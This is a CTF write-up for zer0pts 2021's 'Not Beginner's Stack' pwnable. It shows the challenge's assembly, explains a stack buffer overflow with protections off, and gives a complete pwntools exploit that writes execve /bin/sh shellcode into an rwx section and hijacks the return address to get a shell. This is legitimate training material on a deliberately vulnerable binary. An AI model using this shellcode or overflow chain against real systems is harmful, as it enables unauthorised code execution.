0%

2021 zer0pts CTF

2021 zer0pts CTF Write-up

Not Beginner’s Stack (pwnable)

vulnerability

Let’s check the protection of the binary.
899
You can find that all protection is turned off.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
_start:
call notvuln
call exit

notvuln:
;; char buf[0x100];
enter 0x100, 0
;; vuln();
call vuln
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x100);
mov edx, 0x100
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return 0;
xor eax, eax
ret

vuln:
;; char buf[0x100];
enter 0x100, 0
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x1000);
mov edx, 0x1000 ; [!] vulnerability
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return;
leave
ret

They gave me source code. So it is easy to find where vulnerability is. Look at the vuln function. when read function is called, a vulnerability occurs. The buffer size is only 0x100. but the size that you can read is 0x1000. It is Buffer Overflow. Then i can overwrite the return address because the stack canary is turned off. and also i can use shellcode. (NX disabled). we can control the rsi by overwritting rbp-0x100. [lea rsi, [rbp-0x100]]. It means that i can arbitrary write.
So i changed retrun address to call exit into the address to call start for triggering bof again. I got many opportunities to trigger bof. I wrote shellcode on the section of 0x00600000
bbn
It was rwxp Permission, That’s why i used shellcode and wrote in there. Finally I overwrited return address to shellcode address and got the sh.

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context.log_level = 'DEBUG'

#p = remote('pwn.ctf.zer0pts.com',9011)
p = process('./chall')
e = ELF('./chall')

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

pause()
p.recvuntil('Data: ')
#change rsi (ret addr)
payload = ''
payload += 'A'*0x100
payload += p64(0x600334)
p.send(payload)

#overwrite ret addr.
p.recvuntil('Data: ')
pause()
payload = ''
payload += p64(0x4000c3)
p.send(payload)

pause()
p.recvuntil('Data: ')

#change rsi for shellcode and write.
payload = ''
payload += 'B'*0x100
payload += p64(0x600384)
p.send(payload)

p.recvuntil('Data: ')
p.send(shellcode)

pause()
#change rsi (ret addr)
p.recvuntil('Data: ')
payload = ''
payload += 'C'*0x100
payload += p64(0x600334)
p.send(payload)

pause()
#overwrite ret addr.
p.recvuntil('Data: ')
p.send(p64(0x600284))

p.interactive()